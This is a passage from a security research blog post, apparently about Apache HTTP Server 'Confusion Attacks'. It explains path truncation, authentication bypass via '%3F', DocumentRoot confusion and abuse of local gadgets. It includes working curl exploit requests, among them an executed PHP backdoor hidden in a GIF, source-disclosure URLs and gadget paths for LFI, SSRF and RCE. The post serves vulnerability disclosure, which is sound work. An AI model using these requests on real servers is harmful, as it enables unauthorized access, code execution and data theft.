</code></pre></div></div> <p>This is our first primitive — Path Truncation. Let’s pause our exploration of this primitive here for a moment. Although it might seem like a minor flaw for now, remember it— it will reappear in later attacks, gradually tearing open this seemingly little breach! 😜</p> <h5 id="️-1-1-2-mislead-rewriteflag-assignment">✔️ 1-1-2. Mislead RewriteFlag Assignment</h5> <p>The second exploitation of the truncation primitive is to mislead the assignment of <code class="language-plaintext highlighter-rouge">RewriteFlags</code>. Imagine a sysadmin managing websites and their corresponding handlers through the following <code class="language-plaintext highlighter-rouge">RewriteRule</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteEngine</span> <span class="ss">On</span> <span class="nc">RewriteRule</span> ^(.+\.php)$ $1 [H=application/x-httpd-php] </code></pre></div></div> <p>If a request ends with the <code class="language-plaintext highlighter-rouge">.php</code> extension, it adds the corresponding handler for the <code class="language-plaintext highlighter-rouge">mod_php</code> (this can also be an Environment Variable or Content-Type; you can refer to the official <a href="https://httpd.apache.org/docs/2.4/rewrite/flags.html">RewriteRule Flags</a> manual for details).</p> <p>Since the truncation behavior of the <code class="language-plaintext highlighter-rouge">mod_rewrite</code> occurs after the regular expression match, an attacker can use the original rule to apply flags to requests they shouldn’t apply to by using a <code class="language-plaintext highlighter-rouge">?</code>. For example, an attacker could upload a GIF image embedded with malicious PHP code and execute it as a backdoor through the following crafted request:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/upload/1.gif <span class="c"># GIF89a &lt;?=`id`;&gt;</span> <span class="nv">$ </span>curl http://server/upload/1.gif%3fooo.php <span class="c"># GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)</span> </code></pre></div></div> <p><br /></p> <h4 id="️-primitive-1-2-acl-bypass">⚔️ Primitive 1-2. ACL Bypass</h4> <p>The second primitive of Filename Confusion occurs in the <code class="language-plaintext highlighter-rouge">mod_proxy</code>. Unlike the previous primitive which treats targets as a URL in all cases, this time <strong>the authentication and access control bypass is caused by the inconsistent semantic of <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> among the modules!</strong></p> <p>It actually makes sense for the <code class="language-plaintext highlighter-rouge">mod_proxy</code> to treat <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> as a URL, given that the primary purpose of a Proxy is to “redirect” requests to other URLs. However, security issues when different components interact — especially the case when most modules by default treat the <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> as a filesystem path, imagine you use a file-based access control, and now <code class="language-plaintext highlighter-rouge">mod_proxy</code> treats <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> as a URL; this inconsistency can lead to the access control or authentication bypass!</p> <p>A classic example is when sysadmins use the <code class="language-plaintext highlighter-rouge">Files</code> directive to restrict a single file, like <code class="language-plaintext highlighter-rouge">admin.php</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> "admin.php"</span><span class="p">&gt; </span> <span class="nc">AuthType</span> <span class="ss">Basic</span> <span class="ss">AuthName</span> "Admin Panel" <span class="nc">AuthUserFile</span> "/etc/apache2/.htpasswd" <span class="nc">Require</span> valid-user <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>This type of configuration can be bypassed directly under the default PHP-FPM installation! It’s also worth mentioning that this is one of the most common ways to configure authentication in Apache HTTP Server! Suppose you visit a URL like this:</p> <blockquote> <p>http://server/admin.php%3Fooo.php</p> </blockquote> <p>First, in the HTTP lifecycle at this URL, the authentication module will compare the requested filename with the protected files. At this point, the <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> field is <code class="language-plaintext highlighter-rouge">admin.php?ooo.php</code>, which obviously does not match <code class="language-plaintext highlighter-rouge">admin.php</code>, so the module will assume that the current request does not require authentication. However, the PHP-FPM configuration is set to forward requests ending in <code class="language-plaintext highlighter-rouge">.php</code> to the <code class="language-plaintext highlighter-rouge">mod_proxy</code> using the <code class="language-plaintext highlighter-rouge">SetHandler</code> directive:</p> <p><strong><em>Path: /etc/apache2/mods-enabled/php8.2-fpm.conf</em></strong></p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Using (?:pattern) instead of (pattern) is a small optimization that</span> <span class="c"># avoid capturing the matching pattern (as $1) which isn't used here</span> <span class="p">&lt;</span><span class="nl">FilesMatch</span><span class="sr"> ".+\.ph(?:ar|p|tml)$"</span><span class="p">&gt; </span> <span class="nc">SetHandler</span> "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost" <span class="p">&lt;/</span><span class="nl">FilesMatch</span><span class="p">&gt; </span></code></pre></div></div> <p>The <code class="language-plaintext highlighter-rouge">mod_proxy</code> will rewrite <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> to the following URL and call the sub-module <code class="language-plaintext highlighter-rouge">mod_proxy_fcgi</code> to handle the subsequent FastCGI protocol:</p> <blockquote> <p>proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php</p> </blockquote> <p>Since the backend receives the filename in a strange format, PHP-FPM has to handle this behavior specially. The logic of this handling is as follows:</p> <p><strong><em>Path: <a href="https://github.com/php/php-src/blob/ce51bfac759dedac1537f4d5666dcd33fbc4a281/sapi/fpm/fpm/fpm_main.c#L1044">sapi/fpm/fpm/fpm_main.c#L1044</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://" #define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://" </span> <span class="k">if</span> <span class="p">(</span><span class="n">env_script_filename</span> <span class="o">&amp;&amp;</span> <span class="n">strncasecmp</span><span class="p">(</span><span class="n">env_script_filename</span><span class="p">,</span> <span class="n">APACHE_PROXY_FCGI_PREFIX</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">APACHE_PROXY_FCGI_PREFIX</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* advance to first character of hostname */</span> <span class="kt">char</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">env_script_filename</span> <span class="o">+</span> <span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">APACHE_PROXY_FCGI_PREFIX</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span> <span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">'\0'</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">'/'</span><span class="p">)</span> <span class="p">{</span> <span class="n">p</span><span class="o">++</span><span class="p">;</span> <span class="cm">/* move past hostname and port */</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* Copy path portion in place to avoid memory leak. Note * that this also affects what script_path_translated points * to. */</span> <span class="n">memmove</span><span class="p">(</span><span class="n">env_script_filename</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="n">apache_was_here</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="cm">/* ignore query string if sent by Apache (RewriteRule) */</span> <span class="n">p</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">env_script_filename</span><span class="p">,</span> <span class="sc">'?'</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>As you can see, PHP-FPM first normalizes the filename and splits it at the question mark <code class="language-plaintext highlighter-rouge">?</code> to extract the actual file path for execution (which is <code class="language-plaintext highlighter-rouge">/var/www/html/admin.php</code>). This leads to the bypass, and basically, <strong>all authentications or access controls based on the <code class="language-plaintext highlighter-rouge">Files</code> directive for a single PHP file are at risk when running together with PHP-FPM!</strong> 😮</p> <p>Many potentially risky configurations can be found on GitHub, such as <code class="language-plaintext highlighter-rouge">phpinfo()</code> restricted to internal network access only:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># protect phpinfo, only allow localhost and local network access</span> <span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> php-info.php</span><span class="p">&gt; </span> <span class="c"># LOCAL ACCESS ONLY</span> <span class="c"># Require local </span> <span class="c"># LOCAL AND LAN ACCESS</span> <span class="nc">Require</span> ip 10 172 192.168 <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>Adminer blocked by <code class="language-plaintext highlighter-rouge">.htaccess</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> adminer.php</span><span class="p">&gt; </span> <span class="nc">Order</span> Allow,Deny <span class="nc">Deny</span> <span class="ss">from</span> <span class="ss">all</span> <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>Protected <code class="language-plaintext highlighter-rouge">xmlrpc.php</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> xmlrpc.php</span><span class="p">&gt; </span> <span class="nc">Order</span> Allow,Deny <span class="nc">Deny</span> <span class="ss">from</span> <span class="ss">all</span> <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>CLI tools prevented from direct access:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> "cron.php"</span><span class="p">&gt; </span> <span class="nc">Deny</span> <span class="ss">from</span> <span class="ss">all</span> <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>Through an inconsistency in how the authentication module and <code class="language-plaintext highlighter-rouge">mod_proxy</code> interpret the <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> field, all the above examples can be successfully bypassed with just a <code class="language-plaintext highlighter-rouge">?</code>.</p> <p><br /></p> <h3 id="-2-documentroot-confusion">🔥 2. DocumentRoot Confusion</h3> <p>The next attack we’re diving into is the confusion based on DocumentRoot! Let’s consider this Httpd configuration for a moment:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">DocumentRoot</span> /var/www/html <span class="nc">RewriteRule</span> ^/html/(.*)$ /$1.html </code></pre></div></div> <p>When you visit the URL <code class="language-plaintext highlighter-rouge">http://server/html/about</code>, which file do you think Httpd actually opens? Is it the one under the root directory, <code class="language-plaintext highlighter-rouge">/about.html</code>, or is it from the DocumentRoot at <code class="language-plaintext highlighter-rouge">/var/www/html/about.html</code>?</p> <p><img src="/assets/img/blog/20240809/2.png" alt="" /></p> <p>The answer is — <strong>it accesses both paths</strong>. Yep, that’s our second Confusion Attack. <strong>For any<sup>[1]</sup> <code class="language-plaintext highlighter-rouge">RewriteRule</code>, Apache HTTP Server always tries to open both the path with DocumentRoot and without it!</strong> Amazing, right? 😉</p> <p><em>[1] Located within <code class="language-plaintext highlighter-rouge">Server Config</code> or <code class="language-plaintext highlighter-rouge">VirtualHost Block</code></em></p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/c3ad18b7ee32da93eabaae7b94541d3c32264340/modules/mappers/mod_rewrite.c#L4939">modules/mappers/mod_rewrite.c#L4939</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">conf</span><span class="o">-&gt;</span><span class="n">options</span> <span class="o">&amp;</span> <span class="n">OPTION_LEGACY_PREFIX_DOCROOT</span><span class="p">))</span> <span class="p">{</span> <span class="n">uri_reduced</span> <span class="o">=</span> <span class="n">apr_table_get</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">notes</span><span class="p">,</span> <span class="s">"mod_rewrite_uri_reduced"</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">prefix_stat</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">)</span> <span class="o">||</span> <span class="n">uri_reduced</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// &lt;------ [1] access without root</span> <span class="kt">int</span> <span class="n">res</span><span class="p">;</span> <span class="kt">char</span> <span class="o">*</span><span class="n">tmp</span> <span class="o">=</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">uri</span><span class="p">;</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">uri</span> <span class="o">=</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">;</span> <span class="n">res</span> <span class="o">=</span> <span class="n">ap_core_translate</span><span class="p">(</span><span class="n">r</span><span class="p">);</span> <span class="c1">// &lt;------ [2] access with root</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">uri</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">!=</span> <span class="n">OK</span><span class="p">)</span> <span class="p">{</span> <span class="n">rewritelog</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="s">"prefixing with document_root of %s"</span> <span class="s">" FAILED"</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">));</span> <span class="k">return</span> <span class="n">res</span><span class="p">;</span> <span class="p">}</span> <span class="n">rewritelog</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="s">"prefixed with document_root to %s"</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">));</span> <span class="p">}</span> <span class="n">rewritelog</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="s">"go-ahead with %s [OK]"</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">));</span> <span class="k">return</span> <span class="n">OK</span><span class="p">;</span> <span class="err">}</span> </code></pre></div></div> <p>Most of the time, the version without DocumentRoot doesn’t exist, so Apache HTTP Server goes for the version with the DocumentRoot. But this behavior already lets us “intentionally” access paths outside the Web Root. <strong>If today we can control the prefix of the <code class="language-plaintext highlighter-rouge">RewriteRule</code>, couldn’t we access any file on the system?</strong> That’s the spirit of our second Confusion Attack! You can find numerous problematic configurations on GitHub, and even <a href="https://httpd.apache.org/docs/current/rewrite/remapping.html#rewrite-query">the examples from official Apache HTTP Server documentations</a> are vulnerable to attacks:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Remove mykey=???</span> <span class="nc">RewriteCond</span> "%{QUERY_STRING}" "(.*(?:^|&amp;))mykey=([^&amp;]*)&amp;?(.*)&amp;?$" <span class="nc">RewriteRule</span> "(.*)" "$1?%1%3" </code></pre></div></div> <p>There are other <code class="language-plaintext highlighter-rouge">RewriteRule</code> that are also affected, such as rules based on caching needs or hiding file extensions:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> "^/html/(.*)$" "/$1.html" </code></pre></div></div> <p>The Rule trying to save bandwidth by opting for compressed versions of static files:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz" </code></pre></div></div> <p>The rule redirecting old URLs to the main site:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> "^/oldwebsite/(.*)$" "/$1" </code></pre></div></div> <p>The rule returning a 200 OK for all CORS preflight requests:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteCond</span> %{REQUEST_METHOD} <span class="ss">OPTIONS</span> <span class="nc">RewriteRule</span> ^(.*)$ $1 [R=200,L] </code></pre></div></div> <p>Theoretically, as long as the target prefix of a <code class="language-plaintext highlighter-rouge">RewriteRule</code> is controllable, we can access nearly the entire filesystem. But from the real-world cases above, extensions like <code class="language-plaintext highlighter-rouge">.html</code> and <code class="language-plaintext highlighter-rouge">.gz</code> are the restrictions that keep us from being truly free. So, can we access files outside <code class="language-plaintext highlighter-rouge">.html</code>? I am not sure if you remember the primitive of Path Truncation from the Filename Confusion earlier? By combining these two primitives, we can freely access arbitrary files on the filesystem!</p> <p>The following demonstrations are all based on this unsafe <code class="language-plaintext highlighter-rouge">RewriteRule</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteEngine</span> <span class="ss">On</span> <span class="nc">RewriteRule</span> "^/html/(.*)$" "/$1.html" </code></pre></div></div> <p><br /></p> <h4 id="️-primitive-2-1-server-side-source-code-disclosure">⚔️ Primitive 2-1. Server-Side Source Code Disclosure</h4> <p>Let’s introduce the first primitive of DocumentRoot Confusion — <strong>Arbitrary Server-Side Source Code Disclosure</strong>!</p> <p>Since Apache HTTP Server decides whether to consider a file as a Server-Side Script based on the current directory or virtual host configuration, accessing target via an absolute path can confuse Httpd’s logic, causing it to leak contents that should have been executed as code.</p> <h5 id="️-2-1-1-disclose-cgi-source-code">✔️ 2-1-1. Disclose CGI Source Code</h5> <p>Starting with the disclosure of server-side CGI source code, since <code class="language-plaintext highlighter-rouge">mod_cgi</code> binds the CGI folder to a specified URL prefix via <code class="language-plaintext highlighter-rouge">ScriptAlias</code>, directly accessing a CGI file using its absolute path can leak its source code due to the change of URL prefix.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/cgi-bin/download.cgi <span class="c"># the processed result from download.cgi</span> <span class="nv">$ </span>curl http://server/html/usr/lib/cgi-bin/download.cgi%3F <span class="c"># #!/usr/bin/perl</span> <span class="c"># use CGI;</span> <span class="c"># ...</span> <span class="c"># # the source code of download.cgi</span> </code></pre></div></div> <h5 id="️-2-1-2-disclose-php-source-code">✔️ 2-1-2. Disclose PHP Source Code</h5> <p>Next is the disclosure of server-side PHP source code. Given that PHP has numerous use cases, if PHP environments are applied only to specific directories or virtual hosts (which is common in web hosting), accessing PHP files from a virtual host which didn’t support PHP can disclose the source code!</p> <p>For example, <code class="language-plaintext highlighter-rouge">www.local</code> and <code class="language-plaintext highlighter-rouge">static.local</code> are two websites hosted on the same server; <code class="language-plaintext highlighter-rouge">www.local</code> allows PHP execution while <code class="language-plaintext highlighter-rouge">static.local</code> only serves static files. Hence, you can disclose sensitive info from <code class="language-plaintext highlighter-rouge">config.php</code> like this:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://www.local/config.php <span class="c"># the processed result (empty) from config.php</span> <span class="nv">$ </span>curl http://www.local/var/www.local/config.php%3F <span class="nt">-H</span> <span class="s2">"Host: static.local"</span> <span class="c"># the source code of config.php</span> </code></pre></div></div> <p><br /></p> <h4 id="️-primitive-2-2-local-gadgets-manipulation">⚔️ Primitive 2-2. Local Gadgets Manipulation!</h4> <p>Next up is our second primitive — <strong>Local Gadgets Manipulation</strong>.</p> <p>First, when we talked about “accessing any file on the filesystem,” did you wonder: “Hey, could an unsafe <code class="language-plaintext highlighter-rouge">RewriteRule</code> access <code class="language-plaintext highlighter-rouge">/etc/passwd</code>?” The answer is Yes, and also no. What?</p> <p>Technically, the server does check if <code class="language-plaintext highlighter-rouge">/etc/passwd</code> exists, but Apache HTTP Server’s built-in access control blocks our access. Here’s a snippet from Apache HTTP Server’s <a href="https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115">configuration template</a>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Directory</span><span class="sr"> /</span><span class="p">&gt; </span> <span class="nc">AllowOverride</span> <span class="ss">None</span> <span class="nc">Require</span> <span class="ss">all</span> denied <span class="p">&lt;/</span><span class="nl">Directory</span><span class="p">&gt; </span></code></pre></div></div> <p>You’ll notice it defaults to blocking access to the root directory <code class="language-plaintext highlighter-rouge">/</code> (<code class="language-plaintext highlighter-rouge">Require all denied</code>). So our “arbitrary file access” ability seems a bit less “any.” Does that mean the show’s over? Not really! We have already broken the trust of only-allowed-access to the DocumentRoot, it’s a significant step forward!</p> <p>A closer inspection of different Httpd distributions reveals that <a href="https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165">Debian/Ubuntu</a> operating systems by default allow <code class="language-plaintext highlighter-rouge">/usr/share</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Directory</span><span class="sr"> /usr/share</span><span class="p">&gt; </span> <span class="nc">AllowOverride</span> <span class="ss">None</span> <span class="nc">Require</span> <span class="ss">all</span> granted <span class="p">&lt;/</span><span class="nl">Directory</span><span class="p">&gt; </span></code></pre></div></div> <p>So, the next step is to “squeeze” all possibilities within this directory. All available resources, such as existing tutorials, documentation, unit test files, and even programming languages like PHP, Python, and even PHP modules could become targets for our abuse!</p> <p><em>P.S. Of course, the exploitation here is based on the Httpd distributed by Ubuntu/Debian operating systems. However, in practice, we have also found that some applications remove the <code class="language-plaintext highlighter-rouge">Require all denied</code> line from the root directory, allowing direct access to <code class="language-plaintext highlighter-rouge">/etc/passwd</code>.</em></p> <p><img src="/assets/img/blog/20240809/3.png" alt="" /></p> <h5 id="️-2-2-1-local-gadget-to-information-disclosure">✔️ 2-2-1. Local Gadget to Information Disclosure</h5> <p>Let’s hunt for potentially exploitable files in this directory. First off, if the target Apache HTTP Server has the <code class="language-plaintext highlighter-rouge">websocketd</code> service installed, the default package includes an example PHP script <code class="language-plaintext highlighter-rouge">dump-env.php</code> under <code class="language-plaintext highlighter-rouge">/usr/share/doc/websocketd/examples/php/</code>. If there’s a PHP environment on the target server, this script can be accessed directly to leak sensitive environment variables.</p> <p>Additionally, if the target has services like Nginx or Jetty installed, though <code class="language-plaintext highlighter-rouge">/usr/share</code> is theoretically a read-only copy for package installation, these services still place their default Web Roots under <code class="language-plaintext highlighter-rouge">/usr/share</code>, making it possible to leak sensitive web application information, such as the <code class="language-plaintext highlighter-rouge">web.xml</code> in Jetty.</p> <ul> <li>/usr/share/nginx/html/</li> <li>/usr/share/jetty9/etc/</li> <li>/usr/share/jetty9/webapps/</li> </ul> <p>Here’s a simple demonstration using <code class="language-plaintext highlighter-rouge">setup.php</code> from the <code class="language-plaintext highlighter-rouge">Davical</code> package, which exists as a read-only copy, to leak contents of <code class="language-plaintext highlighter-rouge">phpinfo()</code>.</p> <p><img src="/assets/img/blog/20240809/4.png" alt="" /></p> <h5 id="️-2-2-2-local-gadget-to-xss">✔️ 2-2-2. Local Gadget to XSS</h5> <p>Next, how to turn this primitive into XSS? On the Ubuntu Desktop environment, LibreOffice, an open-source office suite, is installed by default. We can leverage the language switch feature in the help files to achieve XSS.</p> <p><strong><em>Path: /usr/share/libreoffice/help/help.html</em></strong></p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">;</span> <span class="kd">var</span> <span class="nx">n</span> <span class="o">=</span> <span class="nx">url</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="dl">'</span><span class="s1">?</span><span class="dl">'</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="nx">n</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// the URL came from LibreOffice help (F1)</span> <span class="kd">var</span> <span class="nx">version</span> <span class="o">=</span> <span class="nx">getParameterByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">Version</span><span class="dl">"</span><span class="p">,</span> <span class="nx">url</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">query</span> <span class="o">=</span> <span class="nx">url</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="nx">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">url</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">newURL</span> <span class="o">=</span> <span class="nx">version</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/index.html?</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">query</span><span class="p">;</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="nx">newURL</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="dl">'</span><span class="s1">latest/index.html</span><span class="dl">'</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>Thus, even if the target hasn’t deployed any web application, we can still create XSS using an unsafe <code class="language-plaintext highlighter-rouge">RewriteRule</code> through files that come within the operating system.</p> <p><img src="/assets/img/blog/20240809/5.png" alt="" /></p> <h5 id="️-2-2-3-local-gadget-to-lfi">✔️ 2-2-3. Local Gadget to LFI</h5> <p>What about arbitrary file reading? If the target server has PHP or frontend packages installed, like JpGraph, jQuery-jFeed, or even WordPress or Moodle plugins, their tutorials or debug consoles can become our gadgets, for example:</p> <ul> <li>/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php</li> <li>/usr/share/javascript/jquery-jfeed/proxy.php</li> <li>/usr/share/moodle/mod/assignment/type/wims/getcsv.php</li> </ul> <p>Here’s a simple example exploiting <code class="language-plaintext highlighter-rouge">proxy.php</code> from jQuery-jFeed to read <code class="language-plaintext highlighter-rouge">/etc/passwd</code>:</p> <p><img src="/assets/img/blog/20240809/6.png" alt="" /></p> <h5 id="️-2-2-4-local-gadget-to-ssrf">✔️ 2-2-4. Local Gadget to SSRF</h5> <p>Finding an SSRF vulnerability is also a piece of cake, for instance, MagpieRSS offers a <code class="language-plaintext highlighter-rouge">magpie_debug.php</code> file, which is fabulous gadget for exploiting:</p> <ul> <li>/usr/share/php/magpierss/scripts/magpie_debug.php</li> </ul> <h5 id="️-2-2-5-local-gadget-to-rce">✔️ 2-2-5. Local Gadget to RCE</h5> <p>So, can we achieve RCE? Hold on, let’s take it step by step! First, This primitive can reapply all known existing attacks again, like an old version of PHPUnit left behind by development or third-party dependencies, can be directly exploited using <a href="https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841">CVE-2017-9841</a> to execute arbitrary code. Or phpLiteAdmin installed with a read-only copy, which by default has the password <code class="language-plaintext highlighter-rouge">admin</code>. By now, you should see the vast potential of Local Gadgets Manipulation. What remains is to discover even more powerful and universal gadgets!</p> <p><br /></p> <h4 id="️-primitive-2-3-jailbreak-from-local-gadgets">⚔️ Primitive 2-3. Jailbreak from Local Gadgets</h4> <p>You might ask: “Can’t we really break out of <code class="language-plaintext highlighter-rouge">/usr/share</code>?” Of course, we can, that brings out our third primitive — <strong>Jailbreak from <code class="language-plaintext highlighter-rouge">/usr/share</code></strong>!</p> <p>In <a href="https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L160">Debian/Ubuntu</a> distributions of Httpd, the <code class="language-plaintext highlighter-rouge">FollowSymLinks</code> option is explicitly enabled by default. Even in non-Debian/Ubuntu versions, Apache HTTP Server also <a href="https://httpd.apache.org/docs/current/mod/core.html#options">implicitly allows Symbolic Links</a> by default.</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Directory</span><span class="sr"> /</span><span class="p">&gt; </span> <span class="nc">Options</span> <span class="ss">FollowSymLinks</span> <span class="nc">AllowOverride</span> <span class="ss">None</span> <span class="nc">Require</span> <span class="ss">all</span> denied <span class="p">&lt;/</span><span class="nl">Directory</span><span class="p">&gt; </span></code></pre></div></div> <h5 id="️-2-3-1-jailbreak-from-local-gadgets">✔️ 2-3-1. Jailbreak from Local Gadgets</h5> <p>So, any package that has a Symbolic Link in its installation directory pointing outside of <code class="language-plaintext highlighter-rouge">/usr/share</code> can become a stepping-stone to access more gadgets for further exploitation. Here are some useful Symbolic Links we’ve discovered so far:</p> <ul> <li><strong>Cacti Log</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/cacti/site/</code> -&gt; <code class="language-plaintext highlighter-rouge">/var/log/cacti/</code></li> <li><strong>Solr Data</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/solr/data/</code> -&gt; <code class="language-plaintext highlighter-rouge">/var/lib/solr/data</code></li> <li><strong>Solr Config</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/solr/conf/</code> -&gt; <code class="language-plaintext highlighter-rouge">/etc/solr/conf/</code></li> <li><strong>MediaWiki 